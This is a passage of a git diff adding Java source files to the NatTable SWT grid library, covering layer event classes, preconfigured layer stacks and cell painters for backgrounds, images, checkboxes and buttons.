+ } + + public RowUpdateEvent(ILayer layer, Range rowPositionRange) { + super(layer, rowPositionRange); + } + + public RowUpdateEvent(RowUpdateEvent event) { + super(event); + } + + public RowUpdateEvent cloneEvent() { + return new RowUpdateEvent(this); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowVisualChangeEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowVisualChangeEvent.java new file mode 100644 index 0000000..158eae7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/RowVisualChangeEvent.java @@ -0,0 +1,63 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +public abstract class RowVisualChangeEvent implements IVisualChangeEvent { + + private ILayer layer; + + private Collection rowPositionRanges = new ArrayList(); + + public RowVisualChangeEvent(ILayer layer, Range...rowPositionRanges) { + this(layer, Arrays.asList(rowPositionRanges)); + } + + public RowVisualChangeEvent(ILayer layer, Collection rowPositionRanges) { + this.layer = layer; + this.rowPositionRanges = rowPositionRanges; + } + + // Copy constructor + protected RowVisualChangeEvent(RowVisualChangeEvent event) { + this.layer = event.layer; + this.rowPositionRanges = event.rowPositionRanges; + } + + public ILayer getLayer() { + return layer; + } + + public Collection getRowPositionRanges() { + return rowPositionRanges; + } + + public boolean convertToLocal(ILayer localLayer) { + rowPositionRanges = localLayer.underlyingToLocalRowPositions(layer, rowPositionRanges); + layer = localLayer; + + return rowPositionRanges != null && rowPositionRanges.size() > 0; + } + + public Collection getChangedPositionRectangles() { + Collection changedPositionRectangles = new ArrayList(); + + int columnCount = layer.getColumnCount(); + for (Range range : rowPositionRanges) { + changedPositionRectangles.add(new Rectangle(0, range.start, columnCount, range.end - range.start)); + } + + return changedPositionRectangles; + } + + public String toString() { + return getClass().getSimpleName(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/StructuralDiff.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/StructuralDiff.java new file mode 100644 index 0000000..57752bc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/StructuralDiff.java @@ -0,0 +1,74 @@ +package net.sourceforge.nattable.layer.event; + +import net.sourceforge.nattable.coordinate.Range; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; + +public class StructuralDiff { + + public enum DiffTypeEnum { + ADD, CHANGE, DELETE; + } + + private DiffTypeEnum diffType; + + private Range beforePositionRange; + + private Range afterPositionRange; + + public StructuralDiff(DiffTypeEnum diffType, Range beforePositionRange, Range afterPositionRange) { + this.diffType = diffType; + this.beforePositionRange = beforePositionRange; + this.afterPositionRange = afterPositionRange; + } + + public DiffTypeEnum getDiffType() { + return diffType; + } + + public Range getBeforePositionRange() { + return beforePositionRange; + } + + public Range getAfterPositionRange() { + return afterPositionRange; + } + + @Override + public boolean equals(Object obj) { + if (obj == this) { + return true; + } + + if ((obj instanceof StructuralDiff) == false) { + return false; + } + + StructuralDiff that = (StructuralDiff) obj; + + return new EqualsBuilder() + .append(this.diffType, that.diffType) + .append(this.beforePositionRange, that.beforePositionRange) + .append(this.afterPositionRange, that.afterPositionRange) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(57, 55) + .append(diffType) + .append(beforePositionRange) + .append(afterPositionRange) + .toHashCode(); + } + + @Override + public String toString() { + return getClass().getSimpleName() + + " " + diffType + + " before: " + beforePositionRange + + " after: " + afterPositionRange; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/StructuralRefreshEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/StructuralRefreshEvent.java new file mode 100644 index 0000000..ed46f4d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/StructuralRefreshEvent.java @@ -0,0 +1,60 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * General event indicating that structures cached by the layers need refreshing.
    + * TIP: Consider throwing a more focused event (subclass) if you need to do this. + */ +public class StructuralRefreshEvent implements IStructuralChangeEvent { + + private ILayer layer; + + public StructuralRefreshEvent(ILayer layer) { + this.layer = layer; + } + + protected StructuralRefreshEvent(StructuralRefreshEvent event) { + this.layer = event.layer; + } + + public ILayer getLayer() { + return layer; + } + + public boolean convertToLocal(ILayer localLayer) { + layer = localLayer; + + return true; + } + + public Collection getChangedPositionRectangles() { + return Arrays.asList(new Rectangle[] { new Rectangle(0, 0, layer.getColumnCount(), layer.getRowCount()) }); + } + + public boolean isHorizontalStructureChanged() { + return true; + } + + public boolean isVerticalStructureChanged() { + return true; + } + + public Collection getColumnDiffs() { + return null; + } + + public Collection getRowDiffs() { + return null; + } + + public ILayerEvent cloneEvent() { + return this; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/VisualRefreshEvent.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/VisualRefreshEvent.java new file mode 100644 index 0000000..4718c4c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/event/VisualRefreshEvent.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.layer.event; + +import java.util.Arrays; +import java.util.Collection; + +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.Rectangle; + +public abstract class VisualRefreshEvent implements IVisualChangeEvent { + + private ILayer layer; + + public VisualRefreshEvent(ILayer layer) { + this.layer = layer; + } + + protected VisualRefreshEvent(VisualRefreshEvent event) { + this.layer = event.layer; + } + + public ILayer getLayer() { + return layer; + } + + public boolean convertToLocal(ILayer localLayer) { + layer = localLayer; + + return true; + } + + public Collection getChangedPositionRectangles() { + return Arrays.asList(new Rectangle[] { new Rectangle(0, 0, layer.getColumnCount(), layer.getRowCount()) }); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/ColumnGroupBodyLayerStack.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/ColumnGroupBodyLayerStack.java new file mode 100644 index 0000000..04d4f47 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/ColumnGroupBodyLayerStack.java @@ -0,0 +1,70 @@ +package net.sourceforge.nattable.layer.stack; + +import net.sourceforge.nattable.copy.command.CopyDataCommandHandler; +import net.sourceforge.nattable.group.ColumnGroupExpandCollapseLayer; +import net.sourceforge.nattable.group.ColumnGroupModel; +import net.sourceforge.nattable.group.ColumnGroupReorderLayer; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.reorder.ColumnReorderLayer; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.viewport.ViewportLayer; + +/** + * A pre-configured layer stack which includes the following layers (in that order):
    + *
      + *
    1. ColumnReorderLayer
    2. + *
    3. ColumnGroupReorderLayer
    4. + *
    5. ColumnHideShowLayer
    6. + *
    7. ColumnGroupExpandCollapseLayer
    8. + *
    9. SelectionLayer
    10. + *
    11. ViewportLayer
    12. + *
    + */ +public class ColumnGroupBodyLayerStack extends AbstractLayerTransform { + + private ColumnReorderLayer columnReorderLayer; + private ColumnGroupReorderLayer columnGroupReorderLayer; + private ColumnHideShowLayer columnHideShowLayer; + private ColumnGroupExpandCollapseLayer columnGroupExpandCollapseLayer; + private SelectionLayer selectionLayer; + private ViewportLayer viewportLayer; + + public ColumnGroupBodyLayerStack(IUniqueIndexLayer underlyingLayer, ColumnGroupModel columnGroupModel) { + columnReorderLayer = new ColumnReorderLayer(underlyingLayer); + columnGroupReorderLayer = new ColumnGroupReorderLayer(columnReorderLayer, columnGroupModel); + columnHideShowLayer = new ColumnHideShowLayer(columnGroupReorderLayer); + columnGroupExpandCollapseLayer = new ColumnGroupExpandCollapseLayer(columnHideShowLayer, columnGroupModel); + selectionLayer = new SelectionLayer(columnGroupExpandCollapseLayer); + viewportLayer = new ViewportLayer(selectionLayer); + setUnderlyingLayer(viewportLayer); + + registerCommandHandler(new CopyDataCommandHandler(selectionLayer)); + } + + public ColumnReorderLayer getColumnReorderLayer() { + return columnReorderLayer; + } + + public ColumnGroupReorderLayer getColumnGroupReorderLayer() { + return columnGroupReorderLayer; + } + + public ColumnHideShowLayer getColumnHideShowLayer() { + return columnHideShowLayer; + } + + public ColumnGroupExpandCollapseLayer getColumnGroupExpandCollapseLayer() { + return columnGroupExpandCollapseLayer; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + public ViewportLayer getViewportLayer() { + return viewportLayer; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/DefaultBodyLayerStack.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/DefaultBodyLayerStack.java new file mode 100644 index 0000000..3f42f08 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/DefaultBodyLayerStack.java @@ -0,0 +1,49 @@ +package net.sourceforge.nattable.layer.stack; + +import net.sourceforge.nattable.copy.command.CopyDataCommandHandler; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.IUniqueIndexLayer; +import net.sourceforge.nattable.reorder.ColumnReorderLayer; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.util.IClientAreaProvider; +import net.sourceforge.nattable.viewport.ViewportLayer; + +public class DefaultBodyLayerStack extends AbstractLayerTransform { + + private final ColumnReorderLayer columnReorderLayer; + private final ColumnHideShowLayer columnHideShowLayer; + private final SelectionLayer selectionLayer; + private final ViewportLayer viewportLayer; + + public DefaultBodyLayerStack(IUniqueIndexLayer underlyingLayer) { + columnReorderLayer = new ColumnReorderLayer(underlyingLayer); + columnHideShowLayer = new ColumnHideShowLayer(columnReorderLayer); + selectionLayer = new SelectionLayer(columnHideShowLayer); + viewportLayer = new ViewportLayer(selectionLayer); + setUnderlyingLayer(viewportLayer); + + registerCommandHandler(new CopyDataCommandHandler(selectionLayer)); + } + + @Override + public void setClientAreaProvider(IClientAreaProvider clientAreaProvider) { + super.setClientAreaProvider(clientAreaProvider); + } + + public ColumnReorderLayer getColumnReorderLayer() { + return columnReorderLayer; + } + + public ColumnHideShowLayer getColumnHideShowLayer() { + return columnHideShowLayer; + } + + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + public ViewportLayer getViewportLayer() { + return viewportLayer; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/DummyGridLayerStack.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/DummyGridLayerStack.java new file mode 100644 index 0000000..21fcca7 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/layer/stack/DummyGridLayerStack.java @@ -0,0 +1,26 @@ +package net.sourceforge.nattable.layer.stack; + +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.grid.data.DefaultCornerDataProvider; +import net.sourceforge.nattable.grid.data.DefaultRowHeaderDataProvider; +import net.sourceforge.nattable.grid.data.DummyBodyDataProvider; +import net.sourceforge.nattable.grid.data.DummyColumnHeaderDataProvider; +import net.sourceforge.nattable.grid.layer.DefaultGridLayer; + +public class DummyGridLayerStack extends DefaultGridLayer { + + public DummyGridLayerStack() { + this(20, 20); + } + + public DummyGridLayerStack(int columnCount, int rowCount) { + super(true); + IDataProvider bodyDataProvider = new DummyBodyDataProvider(columnCount, rowCount); + IDataProvider columnHeaderDataProvider = new DummyColumnHeaderDataProvider(bodyDataProvider); + IDataProvider rowHeaderDataProvider = new DefaultRowHeaderDataProvider(bodyDataProvider); + IDataProvider cornerDataProvider = new DefaultCornerDataProvider(columnHeaderDataProvider, rowHeaderDataProvider); + + init(bodyDataProvider, columnHeaderDataProvider, rowHeaderDataProvider, cornerDataProvider); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/IOverlayPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/IOverlayPainter.java new file mode 100644 index 0000000..2c7979b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/IOverlayPainter.java @@ -0,0 +1,18 @@ +package net.sourceforge.nattable.painter; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.ILayer; + +import org.eclipse.swt.graphics.GC; + +/** + * An overlay painter is given a chance to paint the canvas once
    + * the layers have finished rendering. + * + * @see NatTable#addOverlayPainter(IOverlayPainter) + */ +public interface IOverlayPainter { + + public void paintOverlay(GC gc, ILayer layer); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/BackgroundImagePainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/BackgroundImagePainter.java new file mode 100644 index 0000000..ae2bf13 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/BackgroundImagePainter.java @@ -0,0 +1,71 @@ +package net.sourceforge.nattable.painter.cell; + +import static net.sourceforge.nattable.util.ObjectUtils.isNotNull; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Pattern; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + +/** + * Paints the cell background using an image.
    + * Image is repeated to cover the background. Similar to HTML table painting. + */ +public class BackgroundImagePainter extends CellPainterWrapper { + + public final Color separatorColor; + private final Image bgImage; + + /** + * @param interiorPainter used for painting the cell contents + * @param bgImage to be used for painting the background + * @param separatorColor to be used for drawing left and right borders for the cell. + * Set to null if the borders are not required. + */ + public BackgroundImagePainter(ICellPainter interiorPainter, Image bgImage, Color separatorColor) { + super(interiorPainter); + this.bgImage = bgImage; + this.separatorColor = separatorColor; + } + + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredWidth(cell, gc, configRegistry) + 4; + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return super.getPreferredHeight(cell, gc, configRegistry) + 4; + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + // Save GC settings + Color originalBackground = gc.getBackground(); + Color originalForeground = gc.getForeground(); + + gc.setBackgroundPattern(new Pattern(Display.getCurrent(), bgImage)); + + gc.fillRectangle(rectangle); + gc.setBackgroundPattern(null); + + if (isNotNull(separatorColor)) { + gc.setForeground(separatorColor); + gc.drawLine(rectangle.x - 1, rectangle.y, rectangle.x - 1, rectangle.y + rectangle.height); + gc.drawLine(rectangle.x - 1 + rectangle.width, rectangle.y, rectangle.x - 1 + rectangle.width, rectangle.y + rectangle.height); + } + + // Restore original GC settings + gc.setBackground(originalBackground); + gc.setForeground(originalForeground); + + // Draw interior + Rectangle interiorBounds = new Rectangle(rectangle.x + 2, rectangle.y + 2, rectangle.width - 4, rectangle.height - 4); + super.paintCell(cell, gc, interiorBounds, configRegistry); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/BackgroundPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/BackgroundPainter.java new file mode 100644 index 0000000..ddbd29c --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/BackgroundPainter.java @@ -0,0 +1,46 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; + +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Paints the background of the cell using the color from the cell style.
    + * If no background color is registered in the {@link ConfigRegistry} the painting + * is skipped.
    + * + * Example: The {@link TextPainter} inherits this and uses the paint method
    + * in this class to paint the background of the cell. + * + * Can be used as a cell painter or a decorator. + */ +public class BackgroundPainter extends CellPainterWrapper { + + public BackgroundPainter() {} + + public BackgroundPainter(ICellPainter painter) { + super(painter); + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + Color backgroundColor = CellStyleUtil.getCellStyle(cell, configRegistry).getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + if (backgroundColor != null) { + Color originalBackground = gc.getBackground(); + + gc.setBackground(backgroundColor); + gc.fillRectangle(bounds); + + gc.setBackground(originalBackground); + } + + super.paintCell(cell, gc, bounds, configRegistry); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ButtonCellPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ButtonCellPainter.java new file mode 100644 index 0000000..a785ddc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ButtonCellPainter.java @@ -0,0 +1,112 @@ +package net.sourceforge.nattable.painter.cell; + +import java.util.ArrayList; +import java.util.List; +import java.util.Timer; +import java.util.TimerTask; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.event.CellVisualChangeEvent; +import net.sourceforge.nattable.painter.cell.decorator.BeveledBorderDecorator; +import net.sourceforge.nattable.ui.NatEventData; +import net.sourceforge.nattable.ui.action.IMouseAction; + +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.widgets.Display; + +/** + * Paints a button and simulates a button click. It also notifies its listeners when it is clicked. + */ +public class ButtonCellPainter implements ICellPainter, IMouseAction { + private final ICellPainter buttonRaisedPainter; + private final ICellPainter buttonPressedPainter; + + private int buttonFlashTime = 150; + + private int columnPosClicked; + private int rowPosClicked; + private boolean recentlyClicked; + private final List clickLiseners = new ArrayList(); + + /** + * @param interiorPainter to paint the contents of the cell. + * This will be decorated with a button like look and feel. + */ + public ButtonCellPainter(ICellPainter interiorPainter) { + this.buttonPressedPainter = interiorPainter; + this.buttonRaisedPainter = new BeveledBorderDecorator(interiorPainter); + } + + /** + * @param buttonRaisedPainter cell painter to use for painting the button raised state. + * @param buttonPressedPainter cell painter to use for painting the button pressed state. + */ + public ButtonCellPainter(ICellPainter buttonRaisedPainter, ICellPainter buttonPressedPainter) { + this.buttonRaisedPainter = buttonRaisedPainter; + this.buttonPressedPainter = buttonPressedPainter; + } + + public void paintCell(final LayerCell cell, final GC gc, final Rectangle bounds, final IConfigRegistry configRegistry) { + if (recentlyClicked && columnPosClicked == cell.getColumnPosition() && rowPosClicked == cell.getRowPosition()){ + buttonPressedPainter.paintCell(cell, gc, bounds, configRegistry); + } else { + buttonRaisedPainter.paintCell(cell, gc, bounds, configRegistry); + } + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return cell.getBounds().height; + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return cell.getBounds().width; + } + + private TimerTask getButtonFlashTimerTask(final ILayer layer){ + return new TimerTask() { + @Override + public void run() { + recentlyClicked = false; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + layer.fireLayerEvent(new CellVisualChangeEvent(layer, columnPosClicked, rowPosClicked)); + } + }); + } + }; + } + + /** + * Respond to mouse click. Simulate button press. + */ + public void run(final NatTable natTable, MouseEvent event) { + NatEventData eventData = (NatEventData) event.data; + columnPosClicked = eventData.getColumnPosition(); + rowPosClicked = eventData.getRowPosition(); + recentlyClicked = true; + + new Timer().schedule(getButtonFlashTimerTask(natTable), buttonFlashTime); + natTable.fireLayerEvent(new CellVisualChangeEvent(natTable, columnPosClicked, rowPosClicked)); + + for (IMouseAction listener : clickLiseners) { + listener.run(natTable, event); + } + } + + public void addClickListener(IMouseAction mouseAction){ + clickLiseners.add(mouseAction); + } + + public void removeClickListener(IMouseAction mouseAction){ + clickLiseners.remove(mouseAction); + } + + public void setButtonFlashTime(int flashTimeInMS) { + buttonFlashTime = flashTimeInMS; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/CellPainterWrapper.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/CellPainterWrapper.java new file mode 100644 index 0000000..5fc9edf --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/CellPainterWrapper.java @@ -0,0 +1,41 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +public abstract class CellPainterWrapper implements ICellPainter { + + private ICellPainter wrappedPainter; + + public CellPainterWrapper() {} + + public CellPainterWrapper(ICellPainter painter) { + this.wrappedPainter = painter; + } + + public void setWrappedPainter(ICellPainter painter) { + this.wrappedPainter = painter; + } + + public ICellPainter getWrappedPainter() { + return wrappedPainter; + } + + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return wrappedPainter != null ? wrappedPainter.getPreferredWidth(cell, gc, configRegistry) : 0; + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + return wrappedPainter != null ? wrappedPainter.getPreferredHeight(cell, gc, configRegistry) : 0; + } + + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + if (wrappedPainter != null) { + wrappedPainter.paintCell(cell, gc, bounds, configRegistry); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/CheckBoxPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/CheckBoxPainter.java new file mode 100644 index 0000000..87c7308 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/CheckBoxPainter.java @@ -0,0 +1,52 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; + +public class CheckBoxPainter extends ImagePainter { + + private final Image checkedImg; + private final Image uncheckedImg; + + public CheckBoxPainter() { + checkedImg = GUIHelper.getImage("checked"); + uncheckedImg = GUIHelper.getImage("unchecked"); + } + + public CheckBoxPainter(Image checkedImg, Image uncheckedImg) { + super(); + this.checkedImg = checkedImg; + this.uncheckedImg = uncheckedImg; + } + + public int getPreferredWidth(boolean checked) { + return checked ? checkedImg.getBounds().width : uncheckedImg.getBounds().width; + } + + public int getPreferredHeight(boolean checked) { + return checked ? checkedImg.getBounds().height : uncheckedImg.getBounds().height; + } + + public void paintIconImage(GC gc, Rectangle rectangle, int yOffset, boolean checked) { + Image checkBoxImage = checked ? checkedImg : uncheckedImg; + + // Center image + int x = rectangle.x + (rectangle.width / 2) - (checkBoxImage.getBounds().width/2); + + gc.drawImage(checkBoxImage, x, rectangle.y + yOffset); + } + + @Override + protected Image getImage(LayerCell cell, IConfigRegistry configRegistry) { + return isChecked(cell, configRegistry) ? checkedImg : uncheckedImg; + } + + protected boolean isChecked(LayerCell cell, IConfigRegistry configRegistry) { + return ((Boolean) cell.getDataValue()).booleanValue(); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ComboBoxPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ComboBoxPainter.java new file mode 100644 index 0000000..0d50c86 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ComboBoxPainter.java @@ -0,0 +1,13 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.painter.cell.decorator.CellPainterDecorator; +import net.sourceforge.nattable.ui.util.CellEdgeEnum; +import net.sourceforge.nattable.util.GUIHelper; + +public class ComboBoxPainter extends CellPainterWrapper { + + public ComboBoxPainter() { + setWrappedPainter(new CellPainterDecorator(new TextPainter(), CellEdgeEnum.RIGHT, new ImagePainter(GUIHelper.getImage("down_2")))); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/DisabledCheckboxPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/DisabledCheckboxPainter.java new file mode 100644 index 0000000..665ca7f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/DisabledCheckboxPainter.java @@ -0,0 +1,16 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.swt.graphics.Image; + +public class DisabledCheckboxPainter extends CheckBoxPainter { + + public DisabledCheckboxPainter() { + super(GUIHelper.getImage("checked_disabled"), GUIHelper.getImage("unchecked_disabled")); + } + + public DisabledCheckboxPainter(Image checkedImg, Image uncheckedImg) { + super(checkedImg, uncheckedImg); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ICellPainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ICellPainter.java new file mode 100644 index 0000000..6dffdcc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ICellPainter.java @@ -0,0 +1,49 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Implementations are responsible for painting a cell.
    + * + * Custom {@link ICellPainter} can be registered in the {@link IConfigRegistry}. + * This is a mechanism for plugging in custom cell painting. + * + * @see PercentageBarCellPainter + */ +public interface ICellPainter { + + /** + * + * @param gc SWT graphics context used to draw the cell + * @param rectangle cell bounds + * @param natTable :-) + * @param cellRenderer + * @param rowIndex of the cell to paint + * @param colIndex of the cell to paint + * @param selected is the cell selected ? + */ + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry); + + /** + * Get the preferred width of the cell when rendered by this painter. Used for auto-resize. + * @param cell + * @param gc + * @param configRegistry + * @return + */ + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry); + + /** + * Get the preferred height of the cell when rendered by this painter. Used for auto-resize. + * @param cell + * @param gc + * @param configRegistry + * @return + */ + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ImagePainter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ImagePainter.java new file mode 100644 index 0000000..8cf4244 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/painter/cell/ImagePainter.java @@ -0,0 +1,76 @@ +package net.sourceforge.nattable.painter.cell; + +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; + +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; + +/** + * Paints an image. If no image is provided, it will attempt to look up an image from the cell style. + */ +public class ImagePainter extends BackgroundPainter { + + private final Image image; + private final boolean paintBg; + + public ImagePainter() { + this(null); + } + + public ImagePainter(Image image) { + this(image, true); + } + + public ImagePainter(Image image, boolean paintBg) { + this.image = image; + this.paintBg = paintBg; + } + + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + Image image = getImage(cell, configRegistry); + if (image != null) { + return image.getBounds().width; + } else { + return 0; + } + } + + @Override + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + Image image = getImage(cell, configRegistry); + if (image != null) { + return image.getBounds().height; + } else { + return 0; + } + } + + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle bounds, IConfigRegistry configRegistry) { + if (paintBg) { + super.paintCell(cell, gc, bounds, configRegistry); + } + + Image image = getImage(cell, configRegistry); + if (image != null) { + Rectangle imageBounds = image.getBounds(); + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + gc.drawImage(image, bounds.x + CellStyleUtil.getHorizontalAlignmentPadding(cellStyle, bounds, imageBounds.width), bounds.y + CellStyleUtil.getVerticalAlignmentPadding(cellStyle, bounds, imageBounds.height)); + } + } + + protected Image getImage(LayerCell cell, IConfigRegistry configRegistry) { + if (image != null) { + return image; + } else { + return CellStyleUtil.getCellStyle(cell, configRegistry).getAttributeValue(CellStyleAttributes.IMAGE); + } + } + 